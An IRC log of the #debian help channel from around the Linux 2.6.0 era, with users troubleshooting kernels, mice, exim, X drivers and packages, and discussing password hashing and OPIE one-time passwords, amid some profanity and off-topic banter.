| 00:51.25 | durin42 | Serial^away i suppose you could drop all icmp requests, but things might break |
| 00:51.25 | RainbowW | oven: unless you can convince me that switching to grub, a non-trivial operation since i'm less familiar with grub, is going to fix my kernel panic, i'm inclined to stick with lilo. |
| 00:51.34 | cafuego | eeyore-: ... rather than saying it can't resolev host _default_ |
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| 00:51.38 | FsckIt | zamorate: also, it's in experimental.. but generally if you have to ask, you don't want to mess with experimental |
| 00:51.39 | oven | RainbowW - it won't :) |
| 00:51.47 | RainbowW | oven: so it's a non-issue. |
| 00:51.50 | eeyore- | cafuego: i got around name-based virtualhosting with SSL by using IP aliasing ... wastes IP, but hey |
| 00:51.56 | zamorate | FsckIt, i haven't got compiled the 2.6.0 |
| 00:52.08 | Serial^away | durin42 do you have idea how can i stop this messages |
| 00:52.10 | FsckIt | zamorate: sounds like you should be running stable, though... which means it's going to be a while indeed |
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| 00:52.16 | DeL | cafuego have you another idea for my mouse ? |
| 00:52.17 | cafuego | eeyore-: That's why you make your ISP give you a big subnet ;-) |
| 00:52.26 | durin42 | Serial^away nope |
| 00:52.32 | Serial^away | :( |
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| 00:52.34 | cafuego | DeL: if mousedev and input don't work? No. |
| 00:52.35 | FsckIt | cafuego: I wish |
| 00:52.50 | cafuego | FsckIt: Time to switch ISPs then |
| 00:52.55 | snoke | when i try nfs i get error "mount: RPC: program not registered" what may be wrong ? |
| 00:52.59 | yaman | i'm trying really hard to figure out why when i try to 'apt-get remove evolution' everything goes crazy |
| 00:53.13 | RainbowW | when booting 2.6.0: VFS: Cannot open root device "302" or unknown-lock(3,2). Where is this error coming from? |
| 00:53.15 | durin42 | cafuego i'm a moron. i misspelled default in the httpd.conf |
| 00:53.20 | cockroach | are there any good reasons to use wlan-ng (prism2_cs) instead of the stuff in the kernel (orinoco_cs)? |
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| 00:53.24 | cafuego | ~lart durin42 |
| 00:53.29 | FsckIt | cafuego: there's that little issue of price.. so, I just don't do a lot of ssl website hosting |
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| 00:53.31 | eeyore- | bbl, time for some fragging :-D |
| 00:53.33 | bsims | when I try to start Americas Army I get this error GL_EXT_bgra not supported - bailing out. I do have hardware accell enabled but I don't see GL_EXT_bgra listed as a GL extention when I run glxinfo |
| 00:53.45 | bsims | any ideas |
| 00:53.48 | durin42 | apt M$ Access is trash |
| 00:53.50 | | durin42: okay |
| 00:53.50 | oven | well, I'm gonna try my new and shiny 2.6-kernel. Bbl, if the laptop doesn't go up in flames. |
| 00:53.50 | RainbowW | Justin_: msging people is annoying. stop it. |
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| 00:53.52 | FsckIt | what kind of lart is that? |
| 00:54.18 | RainbowW | Justin_: i said stop it, shitball. |
| 00:54.24 | plugwash | @test |
| 00:54.26 | vipe | any one who knows a fine manual for a debian install 'with' evms |
| 00:54.27 | cafuego | FsckIt: I get a /27 for free with my business connection. |
| 00:54.31 | lazarus | bsims: wtf are you talking about? this is not #politics nor #war |
| 00:54.36 | plugwash | !test |
| 00:54.37 | dpkg | No, plugwash, you're not online any more. |
| 00:54.38 | cafuego | FsckIt: (and they didn't take the /29 off me when I switched) |
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| 00:54.45 | bsims | lazarus: its a game based on unreal |
| 00:54.53 | DeL | cafuego when i configure gpm with /dev/input/mice mousedev is used but input is always as: input 3072 0 [keybdev mousedev hid usbmouse usbkbd] |
| 00:54.54 | kokko | how can i remove a package - and all the dependencies the package has... without loosing other dependencies - as in doing a 'cleanup' |
| 00:55.02 | lazarus | bsims: it is not a debian package, is it? |
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| 00:55.09 | FsckIt | cafuego: I've got a regular residential-type connection.. so, one IP |
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| 00:55.11 | lazarus | bsims: this is #debian |
| 00:55.11 | plugwash | ~test |
| 00:55.15 | | Failed |
| 00:55.27 | bsims | anyone know why I dont have GL_EXT_bgra listed as a GL extention when I run glxinfo, accordign to the DRI manual I should have it listed |
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| 00:55.28 | plugwash | ~sarge pool |
| 00:55.31 | lazarus | kokko: dselect select |
| 00:55.33 | cafuego | FsckIt: Yeah, no chance of getting anything serious on residential links |
| 00:55.34 | FsckIt | cafuego: *shrug* not a big deal, I host the email and web and stuff elsewhere anyway |
| 00:56.13 | Ken_ | Can someone help me? I installed Debian sid, and my mouse doesn't work in gdm? |
| 00:56.15 | kokko | lazarus : id have to manually choose ? |
| 00:56.17 | cafuego | going to switch that to shdsl next month and getting a new /27 |
| 00:56.23 | bsims | lazarus: no shit and I am having problems with a debian packaged DRI |
| 00:56.26 | kokko | lazarus : or is it done automagically ? |
| 00:56.30 | lazarus | kokko: that is where you have control, dselect |
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| 00:56.33 | cafuego | ANd yes, modifying the dns entries for ~ 200 domains is going to be FUN! |
| 00:56.42 | RainbowW | oh and Justin_: i get the same shit from 2.4.18-1-k7, the prebuilt package in sid. so BLOW ME. |
| 00:56.49 | lazarus | kokko: press _ and see what it suggests, then appropve or not |
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| 00:57.03 | kokko | lazarus : yes i know that - but i'd like some sort of automatic cleanup |
| 00:57.08 | DeL | cafuego do you know if i should load another module ? |
| 00:57.15 | lazarus | kokko: press _ ... say yes or no |
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| 00:57.26 | cafuego | DeL: Unload usbmouse |
| 00:57.33 | kokko | laz : hehe.. just looking for the auto part - thats it:P |
| 00:57.39 | lazarus | kokko: you want to lose the ability to say yes or no? |
| 00:57.49 | maffelu | Could not load graphics driver 'x11drv' <---has anyone ever seen this problem before? |
| 00:58.05 | lazarus | kokko: just press enter then, and don't read when it asks |
| 00:58.31 | DelEat | why do I have to run 'xrdb -load .Xdefaults' every time I start X to get the items there to work - I run X with 'startx', shouldn't it read .Xdefaults????? |
| 00:58.39 | kokko | lazarus : listen, im sure i have some packages that arent needed, so id like a simple cleanup - thats it - can it be done or not? |
| 00:58.50 | lazarus | kokko: i've told you how |
| 00:58.58 | Lafourmi | is it possible to choose something else than ext2 if I use the installation image ? |
| 00:59.01 | cafuego | DelEat: You can always add the command to .xsession |
| 00:59.16 | lazarus | kokko: apt-cache show deborphan |
| 00:59.29 | lazarus | kokko: apt-cache show cruft |
| 00:59.33 | Ken_ | Can someone help me? I installed Debian sid, and my mouse doesn't work in gdm. |
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| 00:59.41 | DeL | cafuego yes but i would like to use gpm |
| 00:59.51 | cafuego | DeL: Then don't load usbmouse. |
| 00:59.57 | cockroach | are there any good reasons to use wlan-ng (prism2_cs) instead of the stuff in the kernel (orinoco_cs)? |
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| 01:00.01 | lazarus | kokko: those what you wanted? |
| 01:00.02 | tpk_ | Ken_: gpm or gdm? |
| 01:00.02 | FsckIt | Ken_: what kind of mouse do you have? |
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| 01:00.12 | DeL | cafuego yes i unload usbmouse but nothing change ... :( |
| 01:00.12 | DelEat | cafuego: that would be .xinitrc in my case, and yes I could, but that doesn't really solve my problem, but might end up doing that... |
| 01:00.16 | cafuego | DeL: A voice from heaven has told me in interferes with mousedev and input |
| 01:00.19 | Ken_ | tpk_: gdm |
| 01:00.29 | Ken_ | FsckIt: ImPS/2 |
| 01:00.30 | toasty | cockroach:I use prism2_cs, seems to work better for me... |
| 01:00.32 | tpk_ | Ken_: ok, so it doesn't work with X? |
| 01:00.42 | cafuego | DelEat: The voice from heaven says mv .Xdefaults .Xresources |
| 01:00.52 | Ken_ | tpk_: yep |
| 01:00.53 | tpk_ | Ken_: are you using gpm? |
| 01:01.02 | cafuego | DeL: So unload them all, then load 'mousedev' and 'input'. |
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| 01:01.14 | DeL | cafuego ok i test .. |
| 01:01.15 | cockroach | toasty: can you define "better"? more features? better connection? easier configuration? working WEP? |
| 01:01.47 | Ken_ | tpk_: I don't believe I am using gpm. ps indicates gdm running. |
| 01:01.56 | DelEat | cafuego: why do you think that would help? Isn't .Xresources only read the first time running X? |
| 01:02.19 | tpk_ | Ken_: well, what sort of mouse do you have? |
| 01:02.22 | toasty | cockroach:about same for config, but more consistent connection.. |
| 01:02.34 | DelEat | cafuego: but you can convince me to do a 'cp' ;-) |
| 01:02.47 | DelEat | cafuego: err... make a symlink ;-) |
| 01:02.53 | Ken_ | tpk_: Intellimouse |
| 01:03.05 | cockroach | is there a way to use apm for power management but ACPI for the other stuff which actually works? :) |
| 01:03.17 | cockroach | toasty: okay. thanks. |
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| 01:03.40 | tpk_ | Ken_: 3 button? 2 button? scroll wheel? |
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| 01:03.58 | bazz | i run enlightenment as my window manager but i use a lot of gnome apps and i'd like them to use a particular theme. i can set the theme with gnome-theme-manager but every time i restart my xserver i go back to the default theme... is there something i can do so my gnome apps remember their theme across x sessions? |
| 01:04.16 | re_garcia | Can I have two X sessions running at the same time? |
| 01:04.23 | Ken_ | tpk_: 2 button with scroll wheel. |
| 01:04.39 | re_garcia | bazz: what gnome version? |
| 01:05.02 | bazz | re_garcia: 2.something... |
| 01:05.09 | tpk_ | Ken_: what type is youe mouse set to in /etc/X11/XF86Config? |
| 01:05.32 | Serial^away | can any tell me how can i install .deb packages |
| 01:05.43 | re_garcia | bazz: are you saving your session? |
| 01:05.49 | oven | damned apic shit |
| 01:06.03 | Serial^away | i try dpkg -i file |
| 01:06.08 | bazz | re_garcia: enlightenment doesn't have that option... i'm not running the desktop environment, just apps |
| 01:06.33 | oven | it freezes the kernel at boot time, and I compiled it into the kernel. |
| 01:06.54 | bazz | Serial^away: that should work... are you sure you're root? |
| 01:07.05 | Serial^away | bazz ofcourse ;] |
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| 01:07.14 | DeL | cafuego nothing :( |
| 01:07.19 | bazz | Serial^away: what message is it giving you? |
| 01:07.22 | Serial^away | this work i think |
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| 01:07.30 | cromd | greetings all, does anybody here know how to set up directors in Exim? |
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| 01:07.50 | Ken_ | tpk_: I have Driver "mouse", Protocol "IMPS/2", Emulate3Buttons "true", ZAxisMapping "4 5" |
| 01:07.56 | jholt | what program would allow me to switch recording sources from the console? |
| 01:08.07 | oven | cromd - you could just use procmail and append a slash at the end of the name of the mailbox(es) |
| 01:08.15 | jholt | IE from mic to PCM? |
| 01:08.22 | yaman | err, ssh |
| 01:08.23 | bazz | re_garcia: is there a way to save my session when i'm not running the gnome-desktop-environment (tm)? :) |
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| 01:08.36 | DelEat | yaman: what's up? |
| 01:08.48 | cromd | that sounds pretty simple oven ... i'll look it up, but could you give me an example that i could bounce off of? |
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| 01:09.00 | yaman | DelEat: at a login prompt, all i have to do is enter the first 8 characters of my root password, followed by any string of characters, and i am logged in |
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| 01:09.14 | Neocorp | hi, im having problems using swat to configure samba. I get a 401 error without a login prompt. |
| 01:09.27 | re_garcia | bazz: you are right... have you tried gnome-session-save? |
| 01:09.35 | tpk_ | Ken_: but what is "Device" set to? |
| 01:09.37 | DelEat | yaman: sounds strange... corrupt /etc/passwd & /etc/shadow? |
| 01:09.57 | yaman | DelEat: i'm going to try resetting the password, but if the first 8 arent correct, it doenst work |
| 01:10.00 | Ken_ | tpk_: Device "/dev/psaux" |
| 01:10.17 | oven | cromd - no, sorry :) But there are probably lots of .procmailrc examples on the 'net :) |
| 01:10.23 | yaman | DelEat: still, there shouldnt be a wildcard after the 8th character |
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| 01:10.27 | bazz | no.... i will, and that sounds right... didn't know that program existed |
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| 01:10.39 | oven | cromd - just add a slash at the end of the mailbox names, to signify that it should be a maildir |
| 01:10.50 | tempo | how do i check which ports i have open? |
| 01:10.59 | tpk_ | Ken_: it is a PS/2 mouse then? (not usb or anything)? |
| 01:11.02 | DelEat | yaman: nope - sounds strange.. |
| 01:11.06 | cromd | actually oven, that doesn't matter, because i'm still using mbox format i think |
| 01:11.08 | bazz | re_garcia: hrmm... i get Could not connect to the session manager |
| 01:11.09 | jholt | yaman, unix passwords can only be 8 characters anything after that is ignored I thought |
| 01:11.21 | moustic | tempo: www.grc.com (test groupshield) |
| 01:11.25 | tpk_ | jholt: huh? |
| 01:11.33 | yaman | jholt: no, thats not right at all. |
| 01:11.39 | lazarus | jholt: join the current world, google for md5 |
| 01:11.44 | oven | cromd - hm, I'm not sure I understand. What do you want to accomplish? |
| 01:11.48 | deepmoon | I need to send mail out with exim but complains with: need fully-qualified hostname, what does he want |
| 01:12.04 | Ken_ | tpk_: It is a PS/2 mouse connect to a PS2 mouse port. |
| 01:12.08 | jholt | lazarus, OSX ignores anything after 8 |
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| 01:12.16 | lazarus | yaman: tpk_: he is right, if you go back in time to an earlier era (or configure that way today) |
| 01:12.17 | re_garcia | tempo: netstat -a | grep LISTENING |
| 01:12.17 | tempo | moustic: there's a command ls? |
| 01:12.20 | cromd | oven, i'm trying to relay mail for a subdomain to another host on the network, just to test the box as a mail server for someone else |
| 01:12.23 | lazarus | jholt: this is #debian |
| 01:12.24 | tempo | re_garcia: thanks |
| 01:12.32 | DeL | cafuego i do: Current configuration: -m /dev/input/mice -t autops2 -Rms3 |
| 01:12.35 | yaman | lazarus: i have md5 passwords enabled though |
| 01:12.43 | lazarus | jholt: we don't support commercial filth here |
| 01:12.56 | cromd | oven, i've just looked at my exim.conf (for exim 3.5) and it's got the only mention of maildir commented out, so i should be pretty safe, shouldn't i? |
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| 01:13.13 | tpk_ | lazarus: yes if you're using SCO or something shitty like that |
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| 01:13.44 | lazarus | jholt: nevertheless, you would be advised to file strong bugs with that vendor, were that true |
| 01:13.47 | DeL | cafuego a last idea ? |
| 01:14.05 | FsckIt | lazarus: I'm running some of that "commercial filth" right now |
| 01:14.09 | oven | cromd - yes, then exim would use mbox format |
| 01:14.14 | lazarus | FsckIt: is it accurate? |
| 01:14.26 | RainbowW | under sid, when booting 2.6.0: VFS: Cannot open root device "302" or unknown-lock(3,2). Where is this error coming from? Where to start looking? a root=/dev/hda2 in lilo.conf doesn't resolve |
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| 01:14.32 | yaman | haha, i love how this devolved into a flame war... all because my passwords didnt matter after the 8th character ;-) |
| 01:14.42 | FsckIt | lazarus: I'm not sure, actually... you have an OS X machine there? |
| 01:14.48 | lazarus | FsckIt: lol |
| 01:14.53 | lazarus | FsckIt: of course not |
| 01:15.03 | cromd | so oven, if i just used "driver=procmail" in my router definition, does that sound like it might work? |
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| 01:15.15 | FsckIt | lazarus: ok.. what was the question? |
| 01:15.15 | lazarus | yaman: on DEBIAN? |
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| 01:15.35 | lazarus | FsckIt: someone in here maintains that offtopic os has insecure passwords |
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| 01:15.42 | oven | cromd - hm, I don't know |
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| 01:16.00 | oven | cromd - when I've used procmail, I've just created a .procmailrc in my home directory |
| 01:16.03 | FsckIt | lazarus: "insecure" as in limited to 8 characters? |
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| 01:16.18 | oven | cromd - I haven't edited the exim.conf |
| 01:16.20 | jholt | lazarus, I currently have three boxes running linux including a PowerMac9600 which is one a oldworld that doesn't run OSX |
| 01:16.28 | tzafrir | Hi, is it just me or icewm is broken in unstable? |
| 01:16.33 | lazarus | cromd: this is a perfect example of your earlier conversation, ppl talking about some apple filth |
| 01:16.36 | b0x | what os the mac have |
| 01:16.44 | yaman | lazarus: ok, that problem is solved... i think its because i enabled MD5 after i created my password |
| 01:16.48 | tpk_ | "apple filth"? lol |
| 01:16.48 | lazarus | b0x: an offtopic one |
| 01:16.59 | dondelelcaro | people might be well advised to /ingore #debian MODES for the next 5 minutes. |
| 01:17.07 | lazarus | yaman: yes, want to know how to resolve it? |
| 01:17.09 | dondelelcaro | s/ing/ign/ |
| 01:17.20 | b0x | just say |
| 01:17.22 | b0x | yellow dog? |
| 01:17.24 | cromd | lazarus: apple, in #debian? |
| 01:17.25 | lazarus | yaman: run /usr/bin/passwd now |
| 01:17.25 | yaman | lazarus: it's fixed... i ran base config and enabled it and reset my password |
| 01:17.35 | lazarus | cromd: yeah, go figure |
| 01:17.52 | cromd | lazarus: sure ... in my copious free time! :) |
| 01:18.05 | lazarus | yaman: /usr/bin/passwd complies with whatever settings are in place at the time iit is run ;) |
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| 01:18.26 | cromd | i haven't even checked out other architectures ... can you do debian (or linux for that matter) on a mac? |
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| 01:18.32 | FsckIt | b0x: older Macs run MacOS version 9 or so; newer macs can run MacOS X |
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| 01:18.34 | FsckIt | cromd: yes |
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| 01:18.37 | lazarus | cromd: yes |
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| 01:18.42 | yaman | lazarus: yeah, i figured that much... thanks for the tip :) i found it a little curious when i wasnt having any problems logging in despite my sloppy typing |
| 01:18.47 | *** mode/#debian [-o dondelelcaro] by dondelelcaro |
| 01:18.57 | lazarus | cromd: though they are talking about macosx, not debian-ppc lol |
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| 01:19.04 | FsckIt | b0x: also, you can run Debian, Yellow Dog (and other Linux distros, I imagine); also NetBSD, and maybe some of the other BSDs, too |
| 01:19.05 | lazarus | yaman: lol |
| 01:19.09 | dondelelcaro | you can remove the /ignore #debian MODES now, if you wish. |
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| 01:19.29 | lazarus | dondelelcaro: lol, tell us *after* you do it? ;) |
| 01:19.41 | cromd | lazarus: so were they addressing issues of connectivity between the two OSs? |
| 01:19.42 | dondelelcaro | lazarus: reread your scrollback. |
| 01:19.46 | lazarus | dondelelcaro: oops, i missed the previous line, n/m ;) |
| 01:19.49 | cromd | or anything like that? |
| 01:19.58 | lazarus | cromd: nope, just being offtopic, lol |
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| 01:20.05 | FsckIt | lazarus: he said before-hand... you were just trolling against other OSes |
| 01:20.07 | jholt | lazarus, sorry i thought that since both OSX and Linux were Posix that they handled passwords the same. |
| 01:20.08 | FsckIt | lazarus: :-) |
| 01:20.14 | lazarus | FsckIt: BULLSHIT |
| 01:20.21 | jholt | so shoot me for making a mistake |
| 01:20.24 | cromd | so how do you handle that lazarus? Ignore, or gentle reminders of what the channel's about, or what? |
| 01:20.27 | moustic | tempo: no , a site which test all the common ports and show you a report (i's shieldup) |
| 01:20.34 | DeL | cafuego very thx it's ok for my mouse :D |
| 01:20.51 | lazarus | cromd: 01:12 <lazarus> jholt: this is #debian |
| 01:21.02 | FsckIt | jholt: even Linux has had several different password implementations (pre-PAM, PAM, old-style crypt, md5-based crypt, etc) |
| 01:21.02 | lazarus | cromd: 01:12 <lazarus> jholt: we don't support commercial filth here |
| 01:21.17 | lazarus | cromd: and later, 01:15 <lazarus> FsckIt: someone in here maintains that offtopic os has insecure passwords |
| 01:21.40 | cromd | LOL |
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| 01:21.57 | FsckIt | cromd: basically, he just calls them names |
| 01:22.03 | lazarus | cromd: FsckIt came in late and was inquiring, so i included that word, heh |
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| 01:22.10 | cromd | :) |
| 01:22.16 | maco | hi all |
| 01:22.19 | maco | how are u doing ? :) |
| 01:22.26 | cromd | greetings maco |
| 01:23.00 | maco | hello cromd :) |
| 01:23.11 | maco | is there any daemon called crom ? |
| 01:23.20 | yaman | <PROTECTED> |
| 01:23.39 | lazarus | yaman: enable otp, adn then see how many typos it takes to get in ;) |
| 01:23.44 | simonrvn | i should set /away when i'm doing other stuff, but @K |
| 01:23.51 | kzar | when I type "mount /cdrom" it gives me an error saying "wrong fs type, bad option, bad superblock on /dev/cdrom, or too many mounted file systems". |
| 01:24.21 | maco | kzar check /etc/fstab if everything is ok |
| 01:24.41 | maco | kzar ald check the symlink in /dev/ |
| 01:24.49 | maco | s/ald/and |
| 01:24.54 | yaman | lazarus: otp? |
| 01:24.54 | lazarus | yaman: AB03 E924 7F95 65AE |
| 01:25.05 | lazarus | yaman: one example, and of course it changes every single time |
| 01:25.07 | kzar | I checked it and it looked ok, only thing is , its fs type is "iso9660", is that right? |
| 01:25.10 | cromd | whenever i'm ready to learn the next 10 digits of e or pi or anything like that, i just incorporate it into my password, month later, it becomes second nature ... great learning tool :) |
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| 01:25.27 | troubled | simonrvn... |
| 01:25.39 | kzar | maco: does it matter that its an audio cd in the drive? |
| 01:25.49 | tempo | re_garcia: how do i close the ports that are open? and why am i only looking at the LISTENING ports? |
| 01:25.49 | maco | kzar try to disable the /etc/fstab line for /dev/cdrom and mount it manually |
| 01:25.57 | maco | mount /dev/cdrom /mnt/cdrom |
| 01:26.00 | lazarus | yaman: $ su - lazarus |
| 01:26.03 | troubled | cromd: howdy... |
| 01:26.11 | cromd | LOL ... FsckIt, i'm not that bad, although people do raise their eyebrows when i log in :) |
| 01:26.12 | FsckIt | cromd: you've also told the channel that your password is either pi or e :-) |
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| 01:26.17 | maco | tempo - check /etc/inetd.conf |
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| 01:26.20 | tzafrir | icewm also fails to build |
| 01:26.24 | cromd | greetings troubled ... thanks heaps for you help the other day |
| 01:26.28 | lazarus | yaman: otp-md5 345 lo8345 ext, Response: |
| 01:26.32 | troubled | tempo: howdy to you too ;) |
| 01:26.37 | maco | tzafrir why ? :) |
| 01:26.41 | troubled | cromd: you figure everything out with the email |
| 01:26.42 | troubled | ? |
| 01:26.42 | kzar | maco: ok, but if it works what then? |
| 01:26.47 | lazarus | yaman: then you type the OneTimePassword youo compute locally on a trusted devicec |
| 01:26.52 | lazarus | yaman: (pda for example) |
| 01:27.17 | tzafrir | build error, in wmmgr.o . Some C++ error (send full details?) |
| 01:27.18 | lazarus | yaman: *very* useful if you need to login from somethiing that might have a keyboard sniffer, for example |
| 01:27.28 | maco | kzar see man mount for filesystem types |
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| 01:27.36 | simonrvn | troubled: what? |
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| 01:27.44 | cromd | FsckIt, my password is only 5 digits long ... it starts with e or p, and then it defines something like from the first 5 to the fourth 3 or something like that ... eg e2731 easiest password system i ever used :) |
| 01:27.47 | lazarus | yaman: apt-get install libpam-opie opie-client opie-server |
| 01:27.55 | troubled | simonrvn: nottun, just sayin chello |
| 01:27.56 | kzar | maco: that command u said to try gave me an error saying I must specify file system type |
| 01:28.04 | troubled | simonrvn: got a second ups today :)) |
| 01:28.05 | simonrvn | troubled: chello to you too :) |
| 01:28.10 | simonrvn | troubled: woohoo |
| 01:28.14 | yaman | lazarus: i wrote those down... it sounds interesting; i often login to my computer from public places, so it may be useful... i have to get this desktop up first :) |
| 01:28.18 | troubled | simonrvn: tell me about it hehe |
| 01:28.23 | FsckIt | cromd: I get my password from cat /dev/random | strings | head |
| 01:28.24 | simonrvn | :) |
| 01:28.26 | nmx | hi all.. i just got a radeon 9800 and am having trouble finding drivers for it. ati's site only has rpms, does anyone know how to use a radeon 9800 under debian? i'd be ok with just 2d support |
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| 01:28.27 | maco | kzar where is /dev/cdrom symlink pointing at ? |
| 01:28.31 | lazarus | yaman: and then follow the doc dirs of course :) |
| 01:28.32 | cromd | troubled, no, i'm trying to work out a director for it, it's exim 3.5 so i need to configure a director for the router and i still havent worked it out |
| 01:28.36 | troubled | simonrvn: one more and I should be able to power a small village with my supplies hehe |
| 01:28.45 | simonrvn | O_O |
| 01:28.50 | maffelu | is anyone here good at video drivers? |
| 01:28.52 | maco | kzar u can /msg me |
| 01:28.52 | troubled | cromd: i would just rerun eximconfig and start over and readd the relays |
| 01:28.54 | kzar | maco : how do I check? I have never made a symlink or anything before |
| 01:28.57 | lazarus | yaman: if *ever* you ssh in from some public terminal, you don't just "want" this, you *need* it |
| 01:28.57 | cromd | FsckIt, i like the sound of that, in fact i've been thinking of writing a one-line disk scrubber along those lines :) |
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| 01:29.06 | maco | kzar /msg me |
| 01:29.09 | initech | nmx: xfree's radeon driver does not work? i have a radeon 9000, works fine 2d here without any fiddling |
| 01:29.15 | tzafrir | kzar: I don't think linux can mount audio CDs |
| 01:29.22 | kzar | AHH |
| 01:29.32 | kzar | well that's fine then :) |
| 01:29.37 | FsckIt | cromd: disk scrubber? doesn't work, because you need to write several times, or else traces of the old data remain |
| 01:29.43 | nmx | initech: when i dpkg-reconfigure xserver-xfree86 i see an option for "ati" but not for radeon |
| 01:29.44 | tzafrir | kzar: but if you want to play it you don't need to mount it |
| 01:29.46 | initech | tzafrir: no, but konqueror or other apps can do various things with them |
| 01:29.50 | RainbowW | should it be /boot or / that's marked bootable? |
| 01:29.50 | cromd | but troubled, i've still got to refer to something in the relays and i don't know how to do that |
| 01:30.02 | cafuego | nmx: So why don't you choose 'ati' ? |
| 01:30.14 | kzar | tzafrir: I already got ripping to mp3s working I just thought my mounting thing was bust, which is why I came here |
| 01:30.15 | yaman | lazarus: my routine so far has been to type in one password character, then another few lettres in another window, etc.. |
| 01:30.16 | cromd | FsckIt: you could just have a loop couldn't you, bash lets you do that, doesn't it? |
| 01:30.18 | maffelu | When I installed Nvidia drivers for my GeForce 2mx it worked out fine, but when I start X it freezes, it shows up on lsmod, so I don't understand, I have changed to nvidia in the driver part of XF86conf |
| 01:30.19 | troubled | cromd: just rerun eximconfig and then reedit the file and add the relays back. The only thing messing up your setup is that smart host |
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| 01:30.33 | lazarus | yaman: if youo can't carry a pda to compute the OTPs you can precompute ten or so and put them on a paper in your wallet or something |
| 01:30.38 | FsckIt | cromd: yeah, that *might* work... maybe |
| 01:30.43 | troubled | cromd: when you rerun eximconfig, it should start with a nice fresh copy without the smarthost crap |
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| 01:30.50 | nmx | cafuego: well i tried that and i get "no screens found" |
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| 01:31.09 | FsckIt | cromd: basically if you are going to do it.. do it right.. and so, I don't know if one line is sufficient, is all |
| 01:31.12 | cromd | FsckIt, in my copious free time i'll try it out and get back to you :) even still, it would beat anything those military spec cleaners boast :) |
| 01:31.28 | lazarus | yaman: Reminder: Don't use opiekey from telnet or dial-in sessions. |
| 01:31.40 | lazarus | yaman: the client will print that worning :) |
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| 01:31.58 | cromd | FsckIt: you're probably right, that's cool, i'll awk up another shell, that'll show them (yeah right, like in my dreams :) |
| 01:32.20 | FsckIt | cromd: :-) |
| 01:32.32 | exobyte | I compiled freebsd partition support into my kernel, but how can I mount a freebsd partition *within* /dev/hdc1? |
| 01:32.33 | lazarus | yaman: /usr/bin/otp-md5 500 ab0123, is the command i ran btw |
| 01:32.34 | cromd | troubled, speaking of copious free time, you got some to walk me through that routine in private room? |
| 01:32.51 | lazarus | yaman: and about 20 gibberish characters is what i fed it, as "passphrase" for that exaample :) |
| 01:32.53 | FsckIt | initech: mind if I ask what you do, my the way? |
| 01:32.58 | troubled | cromd: i suppose, mesg me |
| 01:33.01 | lazarus | yaman: Enter secret pass phrase: |
| 01:33.06 | cromd | ta mate |
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| 01:33.11 | lazarus | yaman: and the output was: AB03 E924 7F95 65AE |
| 01:33.11 | guest | how do i make a swap partition working? |
| 01:33.12 | deta | Howto mount a canon powershot s400 ??? (I can access it with gphoto - but there is no (?) way to mount it as a mass storage device. |
| 01:33.21 | initech | FsckIt: i do stuff for the 2000 switch |
| 01:33.24 | initech | :-) |
| 01:33.42 | bancus | deta: depends on the camera |
| 01:33.47 | FsckIt | initech: lemme guess.. not important. you don't like your job, and aren't going to go anymore? |
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| 01:33.49 | lazarus | yaman: you can get it to do it as "worrds" rather than hex strings, .... HEM DANK TO CRAM BEER KURD |
| 01:33.54 | bancus | if it is a mass storage device, then yes, you can do it, although I don't know off hand how |
| 01:33.55 | guest | how do i make a swap partition working? |
| 01:34.00 | lazarus | yaman: (some timnd that easier to type) |
| 01:34.03 | gravity | guest: swapon |
| 01:34.05 | bancus | but many cameras use proprietary protocols |
| 01:34.06 | yaman | lazarus: hahah |
| 01:34.09 | bancus | guest, swapon |
| 01:34.21 | bancus | damn, gravity beat me to it |
| 01:34.27 | initech | FsckIt: umm, yeah. you know, today's not a half a day, you know. justchecking in. thanks a bunch! mmmkay? |
| 01:34.33 | yaman | lazarus: can you do it in decimal? im a dvorak guy so typing on other computers isnt fun |
| 01:34.34 | lazarus | yaman: anyway, it's *nix, so it's configurable to yuor tastes L:) |
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| 01:34.45 | guest | i dont have swapon |
| 01:34.45 | lazarus | yaman: no |
| 01:35.05 | FsckIt | initech: he's just a straight-shooter with upper management written all over them |
| 01:35.06 | lazarus | yaman: you need to know the keymapping of the box you're on anyway :P |
| 01:35.11 | FsckIt | initech: him, rather |
| 01:35.20 | yaman | lazarus: yup |
| 01:35.26 | DCH | no luck, it wouldn't recognize my card |
| 01:35.31 | yaman | lazarus: bbiab |
| 01:35.33 | lazarus | yaman: a and m |
| 01:35.34 | yaman | lazarus: thanks |
| 01:35.43 | lazarus | yaman: those are the dvorak keys i know |
| 01:35.45 | lazarus | yaman: a and m |
| 01:35.56 | lazarus | yaman: those are the querty keys i know too |
| 01:36.06 | bancus | guest: you have to be root |
| 01:36.08 | lazarus | yaman: :) (i have to look at the kb to type, iow) |
| 01:36.21 | initech | FsckIt: look, i'm gonna need you to come in this weekend, and on new years eve, mmkay? That would be just great. Thanks! |
| 01:36.24 | DCH | oven: you there? |
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| 01:37.08 | Desp17 | How names the program rpm2deb |
| 01:37.14 | Desp17 | How names the program rpm2deb? |
| 01:37.21 | bztunk | Desp17: ? |
| 01:37.27 | DCH | what do i need to do to tell debian i have new hardware? |
| 01:37.28 | FsckIt | initech: well, that kinda sucks |
| 01:37.30 | Acid`X | Desp17, ALIEN |
| 01:37.33 | dondelelcaro | Desp17: you mean alien? |
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| 01:38.00 | tzafrir | the build error of icewm is because I don't have XRANDR on my system |
| 01:38.08 | lazarus | fox-dalas: english |
| 01:38.23 | initech | FsckIt: well I'm afraid you're gonna have to come in. you're lucky to have a job you know, with the economy the way it is. |
| 01:38.34 | fox-dalas | peple how name the program for debian rpm>>>deb |
| 01:38.47 | lazarus | DCH: you just told #debian |
| 01:38.50 | Profoss | allien? |
| 01:38.51 | bztunk | fox-dalas: alien |
| 01:38.59 | tzafrir | The binary packages somehow managed to build, but they depend on 'xlibs >4.3.0 |libxrandr |
| 01:39.06 | lazarus | DCH: now care to tell us what you really mean? |
| 01:39.21 | fox-dalas | bztunk im is not alen |
| 01:39.27 | FsckIt | initech: I guess that's what you got told this year? |
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| 01:39.55 | initech | FsckIt: no, for amny years, but i finally got a decent job :-) |
| 01:39.56 | fox-dalas | i need neme program rpm2deb |
| 01:40.00 | CSWookie_ | Has anyone set up lm-sensors to run with an Athlon XP and kernel 2.4.22? I'm trying to set it up, but I can't even get the kernel to compile. |
| 01:40.11 | gravity | fox-dalas: It is alien |
| 01:40.21 | lazarus | fox-dalas: apt-cache show alien |
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| 01:40.30 | FsckIt | initech: where are the decent jobs in that/this area? |
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| 01:40.48 | lazarus | FsckIt: sysadmin for localhost |
| 01:41.03 | initech | FsckIt: here? (new orleans) the Uni's or the gov, everything else is crap |
| 01:41.11 | fox-dalas | peple help me please |
| 01:41.17 | FsckIt | lazarus: already have that job |
| 01:41.20 | deepmoon | fox-dalas, install alien |
